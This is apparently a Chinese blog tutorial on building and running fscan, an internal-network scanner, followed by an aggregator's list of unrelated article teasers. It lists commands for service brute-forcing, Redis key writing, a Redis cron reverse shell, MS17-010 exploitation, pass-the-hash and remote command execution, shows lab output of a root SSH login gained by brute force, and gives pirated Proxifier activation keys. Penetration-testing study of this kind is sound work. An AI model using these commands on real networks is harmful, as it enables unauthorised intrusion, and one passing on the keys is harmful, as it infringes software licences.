fscan安装配置(windows、linux系统)

news2024/11/25 10:57:53

fscan安装配置(windows、linux系统)

1、简介

fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

2. 主要功能

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb、rdp等)
  • 数据库密码爆破(mysql、mssql、redis、psql、oracle等)

3.系统信息、漏洞扫描:

  • netbios探测、域控识别
  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行
  • ms17017利用(植入shellcode),如添加用户等

6.其他功能:

  • 文件保存

3. 使用说明

简单用法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

4、Linux系统安装fscan及简单使用

1、先下载go环境,因为fscan是用go语言编译的。所以系统需要go语言环境;可以直接官网下载(直接百度go官网,然后Download找到Linux版本)或者直接命令下载(根据自己所需的环境下载对应版本)

[root@localhost ~]# wget https://dl.google.com/go/go1.20.1.linux-amd64.tar.gz
#这里下载的是1.20版本,建议下载1.17版本之上的,因为后面有地方要求1.17版本以上

#解压到/usr/local目录下
[root@localhost ~]# tar -C /usr/local/ -zxvf go1.20.1.linux-amd64.tar.gz
#解压成功可以在local文件夹下看到go文件夹
[root@localhost ~]# ls /usr/local/
bin  etc  games  go  include  lib  lib64  libexec  sbin  share  src
[root@localhost ~]# 

4.1、将 Go 二进制文件所在路径加入到环境变量 PATH 中

root@localhost ~]# vi /etc/profile.d/go.sh

export GOROOT=/usr/local/go
export GOPATH=/data/go
export PATH=$PATH:$GOROOT/bin:$GOPATH
export GO111MODULE="on" 
export GOPROXY=https://goproxy.cn,direct

root@localhost ~]# source /etc/profile
#查看go环境是否搭建成功
[root@localhost ~]# go version
go version go1.20.1 linux/amd64
[root@localhost ~]# 

注意:输入go version查看是否成功,若没有出现版本号或者出现的是之前版本号,则输入

cp -f $GOROOT/bin/go* /usr/bin/

将其覆盖掉即可,再次输入go version查看即可

4.2、下载和编译安装fscan

下载fscan二进制文件:

#注意由于github是国外网站,所以拉不下来是属于正常现象,可以自己去官网下载
[root@localhost ~]# git clone https://github.com/shadow1ng/fscan.git
Cloning into 'fscan'...
fatal: unable to access 'https://github.com/shadow1ng/fscan.git/': TCP connection reset by peer
[root@localhost ~]# 
[root@localhost ~]# 

#下载fscan
[root@localhost ~]# git clone https://github.com/shadow1ng/fscan.git
Cloning into 'fscan'...
remote: Enumerating objects: 2289, done.
remote: Counting objects: 100% (315/315), done.
remote: Compressing objects: 100% (114/114), done.
remote: Total 2289 (delta 223), reused 214 (delta 200), pack-reused 1974
Receiving objects: 100% (2289/2289), 13.51 MiB | 959.00 KiB/s, done.
Resolving deltas: 100% (1296/1296), done.

#下载完成后进入fscan目录下打开终端,使用root权限进行编译
[root@localhost ~]# ls
anaconda-ks.cfg  fscan  go1.20.1.linux-amd64.tar.gz
[root@localhost ~]# cd fscan/
[root@localhost fscan]# ls
common  go.mod  go.sum  image  LICENSE.txt  main.go  Plugins  README_EN.md  README.md  WebScan
[root@localhost fscan]# go build -ldflags="-s -w " -trimpath
go: downloading golang.org/x/net v0.7.0
go: downloading github.com/shadow1ng/goWMIExec v0.0.2
go: downloading github.com/denisenkom/go-mssqldb v0.12.2
go: downloading github.com/go-sql-driver/mysql v1.6.0
go: downloading github.com/hirochachacha/go-smb2 v1.1.0
go: downloading github.com/jlaffaye/ftp v0.0.0-20220829015825-b85cf1edccd4
go: downloading github.com/lib/pq v1.10.6
go: downloading github.com/sijms/go-ora/v2 v2.5.3
go: downloading github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
go: downloading github.com/shadow1ng/grdp v1.0.3
go: downloading golang.org/x/crypto v0.3.0
go: downloading golang.org/x/text v0.7.0
go: downloading gopkg.in/yaml.v3 v3.0.1
go: downloading github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe
go: downloading github.com/golang-sql/sqlexp v0.1.0
go: downloading go.uber.org/zap v1.14.0
go: downloading github.com/hashicorp/go-multierror v1.1.1
go: downloading github.com/google/cel-go v0.13.0
go: downloading github.com/satori/go.uuid v1.2.0
go: downloading google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c
go: downloading google.golang.org/protobuf v1.28.1
go: downloading gopkg.in/yaml.v2 v2.4.0
go: downloading github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
go: downloading github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
go: downloading github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
go: downloading go.uber.org/atomic v1.5.0
go: downloading go.uber.org/multierr v1.3.0
go: downloading github.com/hashicorp/errwrap v1.0.0
go: downloading github.com/stoewer/go-strcase v1.2.0
go: downloading github.com/geoffgarside/ber v1.1.0
go: downloading golang.org/x/sys v0.5.0
go: downloading github.com/antlr/antlr4/runtime/Go/antlr v1.4.10
[root@localhost fscan]# 

4.3、运行扫描测试

1、fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)

[root@localhost fscan]# ./fscan -h 192.168.134.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 192.168.134.130 is alive
(icmp) Target 192.168.134.2   is alive
(icmp) Target 192.168.134.1   is alive
(icmp) Target 192.168.134.131 is alive
[*] Icmp alive hosts len is: 4
192.168.134.131:445 open
192.168.134.131:80 open
192.168.134.1:445 open
192.168.134.131:21 open
192.168.134.131:139 open
192.168.134.130:22 open
192.168.134.1:139 open
192.168.134.131:135 open
192.168.134.1:135 open
192.168.134.1:7680 open
[*] alive ports len is: 10
start vulscan
[*] NetInfo:
[*]192.168.134.1
   [->]DESKTOP-TR23137
   [->]192.168.134.1
   [->]192.168.195.1
   [->]10.18.3.83  
[*] NetBios: 192.168.134.131 WORKGROUP\WIN-A1G22OHGPC0           Windows Server 2012 R2 Standard 9600 
[*] WebTitle: http://192.168.134.131    code:200 len:701    title:IIS Windows Server
[+] SSH:192.168.134.130:22:root 1
已完成 10/10
[*] 扫描结束,耗时: 27.61812334s
[root@localhost fscan]# 

2、fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)

[root@localhost fscan]# ./fscan -h 192.168.134.130 -rf id_rsa.pub

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 192.168.134.130 is alive
[*] Icmp alive hosts len is: 1
192.168.134.130:22 open
[*] alive ports len is: 1
start vulscan
[+] SSH:192.168.134.130:22:root 1
已完成 1/1
[*] 扫描结束,耗时: 25.182541568s
[root@localhost fscan]# 

3、fscan.exe -h 192.168.x.x -c “whoami;id” (ssh 命令)

[root@localhost fscan]# ./fscan -h 192.168.134.130 -c "whoami;id"

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 192.168.134.130 is alive
[*] Icmp alive hosts len is: 1
192.168.134.130:22 open
[*] alive ports len is: 1
start vulscan
[+] SSH:192.168.134.130:22:root 1 
 root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

已完成 1/1
[*] 扫描结束,耗时: 23.193620374s
[root@localhost fscan]# 

4、go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)

(icmp) Target 192.253.247.67  is alive
(icmp) Target 192.163.164.5   is alive
(icmp) Target 192.229.126.5   is alive
(icmp) Target 192.234.93.254  is alive
(icmp) Target 192.234.237.5   is alive
[*] LiveTop 192.0.0.0/16     段存活数量为: 597
[*] LiveTop 192.3.0.0/16     段存活数量为: 399
[*] LiveTop 192.63.0.0/16    段存活数量为: 122
[*] LiveTop 192.24.0.0/16    段存活数量为: 99
[*] LiveTop 192.185.0.0/16   段存活数量为: 93
[*] LiveTop 192.228.0.0/16   段存活数量为: 86
[*] LiveTop 192.181.0.0/16   段存活数量为: 80
[*] LiveTop 192.142.0.0/16   段存活数量为: 61
[*] LiveTop 192.226.0.0/16   段存活数量为: 54
[*] LiveTop 192.180.0.0/16   段存活数量为: 54
[*] LiveTop 192.0.76.0/24    段存活数量为: 10
[*] LiveTop 192.0.66.0/24    段存活数量为: 10
[*] LiveTop 192.0.79.0/24    段存活数量为: 10
[*] LiveTop 192.0.78.0/24    段存活数量为: 10
[*] LiveTop 192.0.72.0/24    段存活数量为: 10
[*] LiveTop 192.0.63.0/24    段存活数量为: 10
[*] LiveTop 192.0.54.0/24    段存活数量为: 10
[*] LiveTop 192.0.77.0/24    段存活数量为: 10
[*] LiveTop 192.0.65.0/24    段存活数量为: 10
[*] LiveTop 192.0.73.0/24    段存活数量为: 10
[*] Icmp alive hosts len is: 3800
[*] 扫描结束,耗时: 23.913910306s
[root@localhost fscan]# 

5、windows系统安装配置及简单使用(适用于大部分windows版本)

首先,因为fscan是用go语言编译的。所以系统是需要go语言环境

  • 在这里有一个问题,如果是为了使用fscan的话,go环境的版本需要配置高版本。我这里使用的是1.20版本,安装低版本会出现各种问题。

go 环境的安装配置在windows上了可以选择用msi文件安装。下面附上下载链接:https://go.dev/dl/

5.1、在系统上安装一个go环境,在官网上获取包

请添加图片描述
请添加图片描述

5.1.1下载完成双击进行安装

直接双击点,然后默认继续就可以,不用更改什么东西,你可以选择自定义安装目录。不过默认的是在C:/Program file/Go,而且使用msi安装方式是不用自己配置环境变量,他自动就配置完了。
请添加图片描述

5.1.2 查看go环境版本

go version

请添加图片描述

5.2下载Fscan

在GitHub上下载fscan,源码链接:https://github.com/shadow1ng/fscan
请添加图片描述

解压整个包即可,大家会发现解压后在项目中并没有fscan.exe文件,因为这个exe文件时需要编译生成的,并不是自带的。

在编译生成fscan.exe可执行文件之前,还有几个步骤需要执行。
请添加图片描述

5.3 下载安装 proxifier

下载链接: https://www.proxifier.com/download/

请添加图片描述
请添加图片描述

这里安装完成后的proxfier是一个试用版,需要激活密钥,这里给大家直接提供,根据环境自行选择

proxfier的激活秘钥是:
And his activation key is:

L6Z8A-XY2J4-BTZ3P-ZZ7DF-A2Q9C(Portable Edition)#免安装版本
L6Z8A-XY2J4-BTZ3P-ZZ7DF-A2Q9C (便携版) # 免安装版本

5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition)#安装版本
5EZ8G-C3WL5-B56YG-SCXM9-6QZAP (标准版) # 安装版本

P427L-9Y552-5433E-8DSR3-58Z68(MAC) #mac版本 ;
P427L-9Y552-5433E-8DSR3-58Z68(MAC) # MAC 版本;

5.4编译安装fscan

初次安装,生成fscan.exe文件报错。运行 **go build**命令时,因为权限不足无法在指定的路径下创建可执行文件。原因是系统不知道编译好的exe文件应该放在哪里,因此放在临时文件夹里,但临时文件(%temp%)没有足够的读写权限。即使在设置中给了权限仍提示拒绝访问。
请添加图片描述

解决方案
设置输出编译好的exe文件存放路径,指明要编译哪个go文件

  • 1、以管理员身份运行命令提示符(在开始菜单中搜索 cmd,右键选择“以管理员身份运行”),然后再运行 go build 命令。
  • 2、将 go build 命令生成可执行文件的路径改为当前用户拥有写入权限的其他目录,例如你的用户主目录(%USERPROFILE%)或其他自定义目录,例如 D:\MyPrograms。可以通过在 go build 命令中使用 o 选项来指定输出路径,例如:go build -o D:\MyPrograms\myprogram.exe。
  • 3、检查你的杀毒软件或安全设置是否阻止了程序生成可执行文件。你可以尝试禁用杀毒软件或调整安全设置,然后重新运行 go build 命令。

注意:请不要将输出路径设置为系统目录或其他重要目录,否则可能会对系统或其他程序造成损害。

请添加图片描述

执行成功,查看文件中有没有生成对应的exe文件

请添加图片描述

fscan执行成功,可以愉快地进行漏扫了。

请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/650157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

程序员面试必备的 Java 八股文,适合所有的 Java 求职者

说明 本文分享 Java 后端真实高频面试题&#xff0c;有详细答案&#xff0c;保你稳过面试。题目包括&#xff1a;Java 基础、多线程、JVM、数据库、Redis、Shiro、Spring、SpringBoot、MyBatis、MQ、ELK、SpringCloud、设计模式等。 包含从简单到困难、从高频到低频的题目&…

EF Core中Partition by实现

一、SQL语句实现 Partition by是SQL Server数据库中提供的分区函数,跟Group by不同的是,Partition by能够按照分区返回所有记录,而Group by只能返回一条记录。 举个例子,有如下的数据库,需要找出每个唯一编号最新状态的数据。 显然,CW048201和CW048202它们的最新状态都…

靠着这套Github标星55K的Java面试笔记,成功拿到了2个大厂offer

作为一名优秀的程序员&#xff0c;技术面试是不可避免的一个环节&#xff0c;一般技术面试官都会通过自己的方式去考察程序员的技术功底与基础理论知识。 如果你参加过一些大厂面试&#xff0c;肯定会遇到一些这样的问题&#xff1a; 1、看你项目都用的框架&#xff0c;熟悉S…

Linux 环境下Docker将镜像打包导出到本地,上传至内网服务器(八)

文章目录 背景1. docker容器打包成镜像和压缩&#xff08;1&#xff09;首先查看镜像所在的容器&#xff0c;获取到容器id&#xff08;2&#xff09;将容器保存成镜像&#xff08;3&#xff09;将镜像打包&#xff08;4&#xff09;将镜像包压缩 2. docker镜像压缩包解压及镜像…

2023最新发布:Java 面试突击大全 带你摸熟 20+ 互联网公司面试考点

对于程序员来说&#xff0c;春招的失利意味着在金九银十要打一场“硬战”&#xff0c;可又有多少人做好了面试的准备呢&#xff1f;对于一线互联网公司的面试&#xff0c;你又了解多少呢&#xff1f; 今天&#xff0c;一本《Java 面试考点大全》全网首发&#xff0c;带你摸熟 …

阿里8年,肝到P7只剩这份笔记了,帮朋友拿了7个Offer....

时光飞逝&#xff0c;转眼间在阿里工作了8年&#xff0c;工作压力大&#xff0c;节奏快&#xff0c;但是从技术上确实得到了成长&#xff0c;尤其是当你维护与大促相关的系统的时候&#xff0c;熬到P7也费了不少心思 我的职业生涯开始和大多数测试人一样&#xff0c;刚开始接触…

大话设计模式——享元

享元&#xff08;Flyweight&#xff09; Intent 利用共享的方式来支持大量细粒度的对象&#xff0c;这些对象一部分内部状态是相同的。 Class Diagram Flyweight&#xff1a;享元对象IntrinsicState&#xff1a;内部状态&#xff0c;享元对象共享内部状态ExtrinsicState&am…

【架构设计】单点登录实现技术方案

序言 你只管努力&#xff0c;其他交给时间&#xff0c;时间会证明一切。 文章标记颜色说明&#xff1a; 黄色&#xff1a;重要标题红色&#xff1a;用来标记结论绿色&#xff1a;用来标记一级论点蓝色&#xff1a;用来标记二级论点 1 基本介绍 1.1 什么是单点登录 单点登录&am…

命令模式(十七)

相信自己&#xff0c;请一定要相信自己 上一章简单介绍了模板模式(十六), 如果没有看过, 请观看上一章 一. 命令模式 定义&#xff1a;将一个请求封装为一个对象&#xff0c;使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象进行沟通&#xff0c; 这样方便…

智能锁语音芯片方案,NV170D-SOP8九芯电子自主研发

随着智能家居市场的不断壮大&#xff0c;智能门锁已经成为越来越多家庭不可或缺的一部分。传统的机械锁门的开锁方式已经无法满足人们对安全和便捷性的需求。而电子锁门随着技术的不断突破&#xff0c;拥有了更为丰富的功能和更高的安全性。 但是&#xff0c;目前市场上有那么…

1.4.2:DHTMLX JS 看板 DHTMLX JS Kanban Board Crack

用于任务管理应用 程序的 敏捷 JavaScript 看板&#xff0c;使用 DHTMLX JavaScript 看板库开发成熟的 Web 应用程序&#xff0c;以获得对工作量的完全控制并有效地管理任务。 开始使用 DHTMLX JS 看板 DHTMLX 看板允许创建任意数量的任务并通过右侧面板编辑它们。用户可以编…

uCOSii的任务延时和软件定时器

uCOSii的任务延时和软件定时器 1、心跳节拍 操作系统的心跳节拍称为一个Tick。uCOSii中有一个专用的心跳节拍函数&#xff1a;OSTimeTick()&#xff0c;每调用一次&#xff0c;系统时间计数器OSTime计数器就会加1次。为了能调用这个心跳节拍函数&#xff0c;我们使用CPU的滴答…

极致呈现系列之:Echarts地图的浩瀚视野(二)

今天我将基于上一个博客讲到的Echarts地图的相关知识&#xff0c;来实现一个三维地图的效果&#xff0c;我将通过两种方式来实现&#xff0c;一种是伪3D效果的中国地图效果&#xff0c;为什么说是伪3D效果呢&#xff0c;跟着做完你就明白了&#xff1b;一种是真正的三维效果中国…

Eclipse添加Spket插件实现ExtJs智能提示

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、使用步骤1.解压Spket插件2.重启 Eclipse3.配置 Spket4.添加 Library5.添加 File6.将 extjs 设置为 Default7.将 *.js 文件的默认编辑器设置为 Spket JavaSc…

本地连接服务器搭建的 Redis 集群

本地连接服务器搭建的 Redis 集群 在实际运行测试中&#xff0c;存在两个问题 安全组或防火墙开放端口 主要开放10000端口。如果要连接 Redis集群的应用服务不和 Redis集群在一个局域网下&#xff0c;会出现连接异常。 第一个问题检查防火墙或安全组就可以解决&#xff0c;第…

我为开放原子全球开源峰会助力

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

Linux运维监控学习笔记1

1. 监控系统的概念&#xff1a; 监控系统&#xff0c;将所有需要监控的服务器及其各种各种需要的状态数据都实时地收集&#xff0c;并图形化地展示&#xff0c;并可以进行报警&#xff0c;让机器主动及时地与人沟通。 2. 为什么要监控&#xff1f; 答&#xff1a;实时地收集数…

练习:逻辑回归

练习2&#xff1a;逻辑回归 介绍 在本练习中&#xff0c;您将实现逻辑回归并将其应用于两个不同的数据集。还将通过将正则化加入训练算法&#xff0c;来提高算法的鲁棒性&#xff0c;并用更复杂的情形来测试模型算法。 在开始练习前&#xff0c;需要下载如下的文件进行数据上…

【开发细节】SpringBoot配置文件的spring.profiles下的active和include属性的区别和作用

目录 问题作用spring.profiles.activespring.profiles.include 总结 问题 我们经常在项目的application.yml中看到这样的配置&#xff0c;如下&#xff1a; 在 Spring Boot 中&#xff0c;spring.profiles.active 和 spring.profiles.include 属性都是用来配置 profile 的。 …

C++设计模式之单例模式(Singleton)

文章目录 定义前言1. 问题2. 解决方案 适用场景实现方式优点缺点与其他模式的关系懒汉单例模式代码1. 线程不安全的懒汉单例模式2. 线程安全的懒汉单例模式 饿汉单例模式代码Meyers Singleton优点&#xff1a;缺点&#xff1a; 定义 单例是一种创建型设计模式&#xff0c;让你…